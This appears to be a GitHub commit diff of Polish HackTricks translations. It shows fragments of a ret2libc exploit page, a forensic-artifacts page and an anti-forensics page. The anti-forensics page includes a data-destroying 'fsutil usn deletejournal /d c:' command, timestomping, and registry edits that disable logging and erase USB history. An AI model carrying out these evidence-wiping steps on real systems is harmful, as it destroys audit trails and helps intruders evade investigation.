mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
This commit is contained in:
parent
15dc60c3a1
commit
5dac011a5b
37 changed files with 926 additions and 894 deletions
|
@ -10,11 +10,11 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -208,7 +208,7 @@ P.interactive() #Interact with your shell :)
|
||||||
|
|
||||||
### MAIN_PLT = elf.symbols\['main'] nie został znaleziony
|
### MAIN_PLT = elf.symbols\['main'] nie został znaleziony
|
||||||
|
|
||||||
Jeśli symbol "main" nie istnieje (prawdopodobnie dlatego, że jest to okrojony plik binarny), możesz po prostu znaleźć, gdzie znajduje się kod główny:
|
Jeśli symbol "main" nie istnieje (prawdopodobnie dlatego, że jest to okrojony plik binarny). W takim przypadku można po prostu znaleźć, gdzie znajduje się kod główny:
|
||||||
```python
|
```python
|
||||||
objdump -d vuln_binary | grep "\.text"
|
objdump -d vuln_binary | grep "\.text"
|
||||||
Disassembly of section .text:
|
Disassembly of section .text:
|
||||||
|
@ -220,17 +220,17 @@ MAIN_PLT = 0x401080
|
||||||
```
|
```
|
||||||
### Puts not found
|
### Puts not found
|
||||||
|
|
||||||
Jeśli plik binarny nie używa funkcji Puts, powinieneś **sprawdzić, czy używa**
|
Jeśli plik binarny nie używa Puts, powinieneś **sprawdzić, czy używa**
|
||||||
|
|
||||||
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||||
|
|
||||||
Jeśli po utworzeniu całego exploitu napotkasz ten **błąd**: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
Jeśli po utworzeniu **wszystkich** exploitów napotkasz ten **błąd**: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||||
|
|
||||||
Spróbuj **odjąć 64 bajty od adresu "/bin/sh"**:
|
Spróbuj **odjąć 64 bajty od adresu "/bin/sh"**:
|
||||||
```python
|
```python
|
||||||
BINSH = next(libc.search("/bin/sh")) - 64
|
BINSH = next(libc.search("/bin/sh")) - 64
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -244,7 +244,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -12,19 +12,19 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
# Znaczniki czasu
|
# Znaczniki czasu
|
||||||
|
|
||||||
Atakujący może być zainteresowany **zmianą znaczników czasu plików**, aby uniknąć wykrycia.\
|
Atakujący może być zainteresowany **zmianą znaczników czasu plików** w celu uniknięcia wykrycia.\
|
||||||
Możliwe jest znalezienie znaczników czasu wewnątrz MFT w atrybutach `$STANDARD_INFORMATION` __ i __ `$FILE_NAME`.
|
Możliwe jest znalezienie znaczników czasu wewnątrz MFT w atrybutach `$STANDARD_INFORMATION` __ i __ `$FILE_NAME`.
|
||||||
|
|
||||||
Oba atrybuty mają 4 znaczniki czasu: **Modyfikację**, **dostęp**, **tworzenie** i **modyfikację rejestru MFT** (MACE lub MACB).
|
Oba atrybuty mają 4 znaczniki czasu: **Modyfikację**, **dostęp**, **tworzenie** i **modyfikację rejestru MFT** (MACE lub MACB).
|
||||||
|
|
||||||
**Eksplorator Windowsa** i inne narzędzia pokazują informacje z **`$STANDARD_INFORMATION`**.
|
**Eksplorator Windows** i inne narzędzia pokazują informacje z **`$STANDARD_INFORMATION`**.
|
||||||
|
|
||||||
## TimeStomp - Narzędzie antyforensyczne
|
## TimeStomp - Narzędzie antyforensyczne
|
||||||
|
|
||||||
|
@ -65,21 +65,21 @@ Znaczniki czasu **NTFS** mają **precyzję** **100 nanosekund**. Znalezienie pli
|
||||||
|
|
||||||
## SetMace - Narzędzie antyforensyczne
|
## SetMace - Narzędzie antyforensyczne
|
||||||
|
|
||||||
To narzędzie może modyfikować oba atrybuty `$STARNDAR_INFORMATION` i `$FILE_NAME`. Jednakże, od Windows Vista, konieczne jest posiadanie działającego systemu operacyjnego na żywo, aby zmodyfikować te informacje.
|
To narzędzie może modyfikować oba atrybuty `$STARNDAR_INFORMATION` i `$FILE_NAME`. Jednakże, od Windows Vista, konieczne jest posiadanie działającego systemu operacyjnego w celu zmodyfikowania tych informacji.
|
||||||
|
|
||||||
# Ukrywanie danych
|
# Ukrywanie danych
|
||||||
|
|
||||||
NTFS używa klastra i minimalnego rozmiaru informacji. Oznacza to, że jeśli plik zajmuje jeden klaster i pół, **pozostała połowa nigdy nie zostanie użyta** do momentu usunięcia pliku. Dlatego możliwe jest **ukrycie danych w tej przestrzeni luzem**.
|
NTFS używa klastra i minimalnego rozmiaru informacji. Oznacza to, że jeśli plik zajmuje jeden klaster i pół, **pozostała połowa nigdy nie zostanie użyta** do momentu usunięcia pliku. Dlatego możliwe jest **ukrycie danych w tej przestrzeni rezerwowej**.
|
||||||
|
|
||||||
Istnieją narzędzia takie jak slacker, które pozwalają na ukrywanie danych w tej "ukrytej" przestrzeni. Jednak analiza `$logfile` i `$usnjrnl` może pokazać, że dodano pewne dane:
|
Istnieją narzędzia takie jak slacker, które pozwalają na ukrywanie danych w tej "ukrytej" przestrzeni. Jednak analiza `$logfile` i `$usnjrnl` może pokazać, że dodano pewne dane:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (452).png>)
|
![](<../../.gitbook/assets/image (452).png>)
|
||||||
|
|
||||||
Następnie możliwe jest odzyskanie przestrzeni luzem za pomocą narzędzi takich jak FTK Imager. Należy zauważyć, że tego rodzaju narzędzie może zapisać zawartość zasłoniętą lub nawet zaszyfrowaną.
|
Następnie możliwe jest odzyskanie przestrzeni rezerwowej za pomocą narzędzi takich jak FTK Imager. Należy zauważyć, że tego rodzaju narzędzie może zapisać zawartość zasłoniętą lub nawet zaszyfrowaną.
|
||||||
|
|
||||||
# UsbKill
|
# UsbKill
|
||||||
|
|
||||||
To narzędzie **wyłączy komputer w przypadku wykrycia jakiejkolwiek zmiany w portach USB**.\
|
To narzędzie **wyłączy komputer, jeśli wykryta zostanie jakakolwiek zmiana w portach USB**.\
|
||||||
Sposobem na odkrycie tego byłoby sprawdzenie działających procesów i **przejrzenie każdego skryptu pythona działającego**.
|
Sposobem na odkrycie tego byłoby sprawdzenie działających procesów i **przejrzenie każdego skryptu pythona działającego**.
|
||||||
|
|
||||||
# Dystrybucje Live Linux
|
# Dystrybucje Live Linux
|
||||||
|
@ -92,7 +92,7 @@ Te dystrybucje są **wykonywane w pamięci RAM**. Jedynym sposobem na ich wykryc
|
||||||
|
|
||||||
# Konfiguracja Windows
|
# Konfiguracja Windows
|
||||||
|
|
||||||
Możliwe jest wyłączenie kilku metod logowania w systemie Windows, aby utrudnić dochodzenie w sprawie forensyki.
|
Możliwe jest wyłączenie kilku metod logowania w systemie Windows, aby utrudnić dochodzenie w dziedzinie informatyki sądowej.
|
||||||
|
|
||||||
## Wyłączenie znaczników czasu - UserAssist
|
## Wyłączenie znaczników czasu - UserAssist
|
||||||
|
|
||||||
|
@ -105,7 +105,7 @@ Wyłączenie UserAssist wymaga dwóch kroków:
|
||||||
|
|
||||||
## Wyłączenie znaczników czasu - Prefetch
|
## Wyłączenie znaczników czasu - Prefetch
|
||||||
|
|
||||||
To zapisze informacje o aplikacjach uruchomionych w celu poprawy wydajności systemu Windows. Jednakże może to być również przydatne w praktykach forensycznych.
|
To zapisze informacje o aplikacjach uruchomionych w celu poprawy wydajności systemu Windows. Jednakże może to być również przydatne w praktykach związanych z informatyką sądową.
|
||||||
|
|
||||||
* Uruchom `regedit`
|
* Uruchom `regedit`
|
||||||
* Wybierz ścieżkę pliku `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
* Wybierz ścieżkę pliku `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
||||||
|
@ -113,20 +113,20 @@ To zapisze informacje o aplikacjach uruchomionych w celu poprawy wydajności sys
|
||||||
* Wybierz Modyfikuj dla każdego z nich, aby zmienić wartość z 1 (lub 3) na 0
|
* Wybierz Modyfikuj dla każdego z nich, aby zmienić wartość z 1 (lub 3) na 0
|
||||||
* Zrestartuj
|
* Zrestartuj
|
||||||
|
|
||||||
## Wyłączenie znaczników czasu - Czas ostatniego dostępu
|
## Wyłączenie znaczników czasu - Ostatni czas dostępu
|
||||||
|
|
||||||
Za każdym razem, gdy folder jest otwierany z woluminu NTFS na serwerze Windows NT, system zajmuje czas na **aktualizację pola znacznika czasu na każdym wymienionym folderze**, zwane czasem ostatniego dostępu. Na intensywnie używanym woluminie NTFS może to wpłynąć na wydajność.
|
Za każdym razem, gdy folder jest otwierany z woluminu NTFS na serwerze Windows NT, system zajmuje czas na **aktualizację pola znacznika czasu na każdym wymienionym folderze**, zwane ostatnim czasem dostępu. Na intensywnie używanym woluminie NTFS może to wpłynąć na wydajność.
|
||||||
|
|
||||||
1. Otwórz Edytor rejestru (Regedit.exe).
|
1. Otwórz Edytor rejestru (Regedit.exe).
|
||||||
2. Przejdź do `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
|
2. Przejdź do `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
|
||||||
3. Znajdź `NtfsDisableLastAccessUpdate`. Jeśli nie istnieje, dodaj tę wartość DWORD i ustaw jej wartość na 1, co wyłączy proces.
|
3. Znajdź `NtfsDisableLastAccessUpdate`. Jeśli nie istnieje, dodaj ten DWORD i ustaw jego wartość na 1, co wyłączy proces.
|
||||||
4. Zamknij Edytor rejestru i zrestartuj serwer.
|
4. Zamknij Edytor rejestru i zrestartuj serwer.
|
||||||
## Usuń historię USB
|
## Usuń historię USB
|
||||||
|
|
||||||
Wszystkie **wpisy urządzeń USB** są przechowywane w rejestrze systemu Windows pod kluczem rejestru **USBSTOR**, który zawiera podklucze tworzone za każdym razem, gdy podłączysz urządzenie USB do komputera. Możesz znaleźć ten klucz tutaj `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Usunięcie tego** spowoduje usunięcie historii USB.\
|
Wszystkie **wpisy urządzeń USB** są przechowywane w rejestrze systemu Windows pod kluczem rejestru **USBSTOR**, który zawiera podklucze tworzone za każdym razem, gdy podłączysz urządzenie USB do komputera lub laptopa. Możesz znaleźć ten klucz tutaj `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Usunięcie tego** spowoduje usunięcie historii USB.\
|
||||||
Możesz także użyć narzędzia [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html), aby upewnić się, że je usunąłeś (i je usunąć).
|
Możesz także użyć narzędzia [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html), aby upewnić się, że je usunąłeś (i je usunąć).
|
||||||
|
|
||||||
Innym plikiem, który zapisuje informacje o urządzeniach USB, jest plik `setupapi.dev.log` znajdujący się w `C:\Windows\INF`. Również ten plik powinien zostać usunięty.
|
Innym plikiem, który zapisuje informacje o urządzeniach USB, jest plik `setupapi.dev.log` znajdujący się w `C:\Windows\INF`. Również powinien zostać usunięty.
|
||||||
|
|
||||||
## Wyłącz kopie migawkowe
|
## Wyłącz kopie migawkowe
|
||||||
|
|
||||||
|
@ -139,7 +139,7 @@ Aby wyłączyć kopie migawkowe [kroki stąd](https://support.waters.com/KB_Inf/
|
||||||
|
|
||||||
1. Otwórz program Usługi, wpisując "services" w pole wyszukiwania tekstu po kliknięciu przycisku start w systemie Windows.
|
1. Otwórz program Usługi, wpisując "services" w pole wyszukiwania tekstu po kliknięciu przycisku start w systemie Windows.
|
||||||
2. Z listy znajdź "Kopię migawkową woluminu", wybierz ją, a następnie uzyskaj dostęp do właściwości, klikając prawym przyciskiem myszy.
|
2. Z listy znajdź "Kopię migawkową woluminu", wybierz ją, a następnie uzyskaj dostęp do właściwości, klikając prawym przyciskiem myszy.
|
||||||
3. Wybierz opcję Wyłączone z menu rozwijanego "Typ uruchamiania", a następnie potwierdź zmianę, klikając Zastosuj i OK.
|
3. Wybierz opcję Wyłączone z rozwijanego menu "Typ uruchamiania", a następnie potwierdź zmianę, klikając Zastosuj i OK.
|
||||||
|
|
||||||
Możliwe jest również zmodyfikowanie konfiguracji, które pliki zostaną skopiowane w kopii migawkowej w rejestrze `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
Możliwe jest również zmodyfikowanie konfiguracji, które pliki zostaną skopiowane w kopii migawkowej w rejestrze `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||||
|
|
||||||
|
@ -164,6 +164,21 @@ Możliwe jest również zmodyfikowanie konfiguracji, które pliki zostaną skopi
|
||||||
|
|
||||||
* `fsutil usn deletejournal /d c:`
|
* `fsutil usn deletejournal /d c:`
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
|
@ -12,11 +12,11 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -26,26 +26,26 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
W ścieżce `\Users\<nazwa_użytkownika>\AppData\Local\Microsoft\Windows\Notifications` znajduje się baza danych `appdb.dat` (przed rocznicą systemu Windows) lub `wpndatabase.db` (po rocznicy systemu Windows).
|
W ścieżce `\Users\<nazwa_użytkownika>\AppData\Local\Microsoft\Windows\Notifications` znajduje się baza danych `appdb.dat` (przed rocznicą systemu Windows) lub `wpndatabase.db` (po rocznicy systemu Windows).
|
||||||
|
|
||||||
Wewnątrz tej bazy danych SQLite znajduje się tabela `Notification` z wszystkimi powiadomieniami (w formacie XML), które mogą zawierać interesujące dane.
|
Wewnątrz tej bazy danych SQLite znajdziesz tabelę `Notification` z wszystkimi powiadomieniami (w formacie XML), które mogą zawierać interesujące dane.
|
||||||
|
|
||||||
### Harmonogram
|
### Chronologia
|
||||||
|
|
||||||
Harmonogram to charakterystyka systemu Windows, która zapewnia **chronologiczną historię** odwiedzonych stron internetowych, edytowanych dokumentów i uruchomionych aplikacji.
|
Chronologia to charakterystyczna funkcja systemu Windows, która zapewnia **chronologiczną historię** odwiedzonych stron internetowych, edytowanych dokumentów i uruchomionych aplikacji.
|
||||||
|
|
||||||
Baza danych znajduje się w ścieżce `\Users\<nazwa_użytkownika>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Tę bazę danych można otworzyć za pomocą narzędzia SQLite lub narzędzia [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd), **które generuje 2 pliki, które można otworzyć za pomocą narzędzia** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
Baza danych znajduje się w ścieżce `\Users\<nazwa_użytkownika>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Można ją otworzyć za pomocą narzędzia SQLite lub narzędzia [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd), **które generuje 2 pliki, które można otworzyć za pomocą narzędzia** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||||
|
|
||||||
### Strumienie danych alternatywnych (ADS)
|
### Strumienie danych alternatywnych (ADS)
|
||||||
|
|
||||||
Pliki pobrane mogą zawierać **strefę danych alternatywnych (ADS) Zone.Identifier**, wskazującą **sposób** pobrania pliku z sieci wewnętrznej, internetu itp. Niektóre oprogramowanie (np. przeglądarki) zazwyczaj dodają nawet **więcej** **informacji**, takich jak **adres URL**, z którego pobrano plik.
|
Pliki pobrane mogą zawierać **strefę danych alternatywnych (ADS) Zone.Identifier**, wskazującą **sposób** pobrania pliku z sieci wewnętrznej, internetu itp. Niektóre oprogramowanie (np. przeglądarki) zazwyczaj zawierają nawet **więcej** **informacji**, takich jak **adres URL**, z którego pobrano plik.
|
||||||
|
|
||||||
## **Kopie zapasowe plików**
|
## **Kopie zapasowe plików**
|
||||||
|
|
||||||
### Kosz
|
### Kosz
|
||||||
|
|
||||||
W systemach Vista/Win7/Win8/Win10 **Kosz** znajduje się w folderze **`$Recycle.bin`** w głównym katalogu dysku (`C:\$Recycle.bin`).\
|
W systemach Vista/Win7/Win8/Win10 **Kosz** znajduje się w folderze **`$Recycle.bin`** w głównym katalogu dysku (`C:\$Recycle.bin`).\
|
||||||
Po usunięciu pliku z tego folderu tworzone są 2 konkretne pliki:
|
Gdy plik jest usuwany z tego folderu, tworzone są 2 konkretne pliki:
|
||||||
|
|
||||||
* `$I{id}`: Informacje o pliku (data usunięcia}
|
* `$I{id}`: Informacje o pliku (data usunięcia)
|
||||||
* `$R{id}`: Zawartość pliku
|
* `$R{id}`: Zawartość pliku
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (486).png>)
|
![](<../../../.gitbook/assets/image (486).png>)
|
||||||
|
@ -56,7 +56,7 @@ Posiadając te pliki, można użyć narzędzia [**Rifiuti**](https://github.com/
|
||||||
```
|
```
|
||||||
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
|
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
|
||||||
|
|
||||||
### Kopie woluminu cieni
|
### Kopie migowe woluminów
|
||||||
|
|
||||||
Shadow Copy to technologia zawarta w systemie Microsoft Windows, która może tworzyć **kopie zapasowe** lub migawki plików lub woluminów komputerowych, nawet gdy są one w użyciu.
|
Shadow Copy to technologia zawarta w systemie Microsoft Windows, która może tworzyć **kopie zapasowe** lub migawki plików lub woluminów komputerowych, nawet gdy są one w użyciu.
|
||||||
|
|
||||||
|
@ -64,7 +64,7 @@ Te kopie zapasowe zazwyczaj znajdują się w `\System Volume Information` z pozi
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (520).png>)
|
![](<../../../.gitbook/assets/image (520).png>)
|
||||||
|
|
||||||
Montując obraz forensyczny za pomocą **ArsenalImageMounter**, narzędzie [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) można użyć do sprawdzenia kopii cienia i nawet **wyodrębnienia plików** z kopii zapasowych cienia.
|
Montując obraz forensyczny za pomocą **ArsenalImageMounter**, narzędzie [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) można użyć do zbadania kopii migowych i nawet **wyodrębnienia plików** z kopii zapasowych migawek.
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (521).png>)
|
![](<../../../.gitbook/assets/image (521).png>)
|
||||||
|
|
||||||
|
@ -89,13 +89,13 @@ System Windows **automatycznie** **tworzy** te **skróty** gdy użytkownik **otw
|
||||||
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||||
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||||
|
|
||||||
Gdy utworzony zostanie folder, tworzony jest również link do folderu, do folderu nadrzędnego i do folderu dziadka.
|
Gdy utworzony zostaje folder, tworzony jest również skrót do folderu, do folderu nadrzędnego oraz do folderu pradziadka.
|
||||||
|
|
||||||
Te automatycznie tworzone pliki linków **zawierają informacje o pochodzeniu** takie jak czy to **plik** **czy** folder, **czasy MAC** tego pliku, **informacje o woluminie**, gdzie plik jest przechowywany oraz **folder pliku docelowego**. Te informacje mogą być przydatne do odzyskania tych plików w przypadku ich usunięcia.
|
Te automatycznie tworzone pliki skrótów **zawierają informacje o pochodzeniu**, czy to jest **plik** **czy** **folder**, **czasy MAC** tego pliku, **informacje o woluminie**, gdzie znajduje się plik oraz **folder docelowy pliku**. Te informacje mogą być przydatne do odzyskania tych plików w przypadku ich usunięcia.
|
||||||
|
|
||||||
Ponadto **data utworzenia linku** to pierwszy **czas**, kiedy oryginalny plik został **pierwszy** **raz** **użyty**, a **data** **modyfikacji** linku to **ostatni** **czas**, kiedy plik źródłowy był używany.
|
Ponadto **data utworzenia skrótu** jest pierwszym **czasem**, kiedy oryginalny plik został **pierwszy** **raz** **użyty**, a **data** **modyfikacji** skrótu to **ostatni** **czas**, kiedy plik źródłowy był używany.
|
||||||
|
|
||||||
Aby sprawdzić te pliki, można użyć [**LinkParser**](http://4discovery.com/our-tools/).
|
Aby zbadać te pliki, można użyć [**LinkParser**](http://4discovery.com/our-tools/).
|
||||||
|
|
||||||
W tym narzędziu znajdziesz **2 zestawy** znaczników czasowych:
|
W tym narzędziu znajdziesz **2 zestawy** znaczników czasowych:
|
||||||
|
|
||||||
|
@ -108,27 +108,27 @@ W tym narzędziu znajdziesz **2 zestawy** znaczników czasowych:
|
||||||
2. LinkAccessDate
|
2. LinkAccessDate
|
||||||
3. LinkCreationDate.
|
3. LinkCreationDate.
|
||||||
|
|
||||||
